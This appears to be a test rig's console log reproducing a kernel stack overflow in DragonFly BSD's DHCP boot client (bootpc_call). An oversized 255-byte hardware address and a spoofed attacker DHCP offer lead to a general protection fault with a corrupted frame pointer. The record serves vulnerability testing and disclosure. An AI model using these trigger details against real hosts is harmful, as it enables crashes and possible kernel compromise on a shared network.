DF-3045 / panic50_console_full.txt
add net default: gateway 10.0.2.2: File exists Additional routing options:. Starting devd. Additional TCP options:. Mounting NFS file systems:. ELF ldconfig path: /lib /usr/lib /usr/local/lib /usr/local/libdata/ldconfig/pkg Building databases... Starting syslogd. Oct 20 16:09:27 dfbsd syslogd: kernel boot file is /boot/kernel/kernel No core dumps found. swap low/high-water marks set to 41940/62910 swapon: adding /dev/vbd0s1b as swap device NFS CLIENT: access_cache_timeout=5 neg_cache_timeout=3. Starting local daemons:. Updating motd. Configuring syscons: blanktime. Starting sshd. sendmail_submit: /etc/mail/aliases.db not present, generating sendmail_clientmqueue: /etc/mail/aliases.db not present, generating Starting cron. Local package initialization:. Tue Oct 20 16:09:27 UTC 2026 DragonFly/x86_64 (dfbsd) (ttyd0) login: dfrig12: === test 50 begin === dfrig12: DF3045 T50: in-situ bootpc_call with sdl_alen=255: hexncpy at :718-720 writes 765 bytes from hexstr[64] inside bootpc_call's own frame -> expect fatal trap dfrig12: DF3045: selection at :1046-1053 ACCEPTED IFT_ETHER sdl_alen=255 (>16, never checked) dfrig12: DF3045: call.hlen=255 (call.hlen=sdl_alen at :1192) DF3045: call.chaddr[0..23] = 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 DF3045: chaddr member is 16 bytes; chaddr[16] (== call.sname[0]) = 50, expected MAC byte 0x50 -> bcopy at :1197 overran chaddr[16] by 239 byte(s) dfrig12: DF3045: bcopy overran chaddr[16] by 239 byte(s): call.sname[0]=50 == MAC[16]=50 Sending DHCP Discover packet from interface fak0 (40:41:42:43:44:45:46:47:48:49:4a:4b:4c:4d:4e:4f:50:51:52:53:54:55:56:57:58:59:5a:5b:5c:5d:5e:5f:60:61:62:63:64:65:66:67:68:69:6a:6b:6c:6d:6e:6f:70:71:72:73:74:75:76:77:78:79:7a:7b:7c:7d:7e:7f:80:81:82:83:84:85:86:87:88:89:8a:8b:8c:8d:8e:8f:90:91:92:93:94:95:96:97:98:99:9a:9b:9c:9d:9e:9f:a0:a1:a2:a3:a4:a5:a6:a7:a8:a9:aa:ab:ac:ad:ae:af:b0:b1:b2:b3:b4:b5:b6:b7:b8:b9:ba:bb:bc:bd:be:bf:c0:c1:c2:c3:c4:c5:c6:c7:c8:c9:ca:cb:cc:cd:ce:cf:d0:d1:d2:d3:d4:d5:d6:d7:d8:d9:da:db:dc:dd:de:df:e0:e1:e2:e3:e4:e5:e6:e7:e8:e9:ea:eb:ec:ed:ee:ef:f0:f1:f2:f3:f4:f5:f6:f7:f8:f9:fa:fb:fc:fd:fe:ff:00:01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:10:11:12:13:14:15:16:17:18:19:1a:1b:1c:1d:1e:1f:20:21:22:23:24:25:26:27:28:29:2a:2b:2c:2d:2e:2f:30:31:32:33:34:35:36:37:38:39:3a:3b:3c:3d:3e) dfrig12: client broadcasts query #1 xid_raw=0100ffff msgtype=1 (any same-L2 host hears it) dfrig12: ATTACKER injects OFFER xid_raw=0100ffff origin=6.6.6.6:9999 yiaddr=6.6.6.66 siaddr=6.6.6.6 DF3045: reply matcher bcmp len=255: chaddr member is 16 bytes -> reads 239 byte(s) past chaddr[15] (in-struct, into sname/file/vend) dfrig12: client broadcasts query #2 xid_raw=0100ffff msgtype=1 (any same-L2 host hears it) dfrig12: client broadcasts query #3 xid_raw=0100ffff msgtype=1 (any same-L2 host hears it) dfrig12: client broadcasts query #4 xid_raw=0100ffff msgtype=1 (any same-L2 host hears it) dfrig12: client broadcasts query #5 xid_raw=0100ffff msgtype=1 (any same-L2 host hears it) DHCP timeout for interface fak0 Fatal trap 9: general protection fault while in kernel mode cpuid = 3; lapic id = 3 instruction pointer = 0x8:0xffffffff80a811cd stack pointer = 0x10:0xfffff801180436e0 frame pointer = 0x10:0x3a37363a36363a35 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, long 1, def32 0, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 811 current thread = pri 10 kernel: type 9 trap, code=0 CPU3 stopping CPUs: 0x00000037 stopped Stopped at bootpc_call+0x83d: ret db>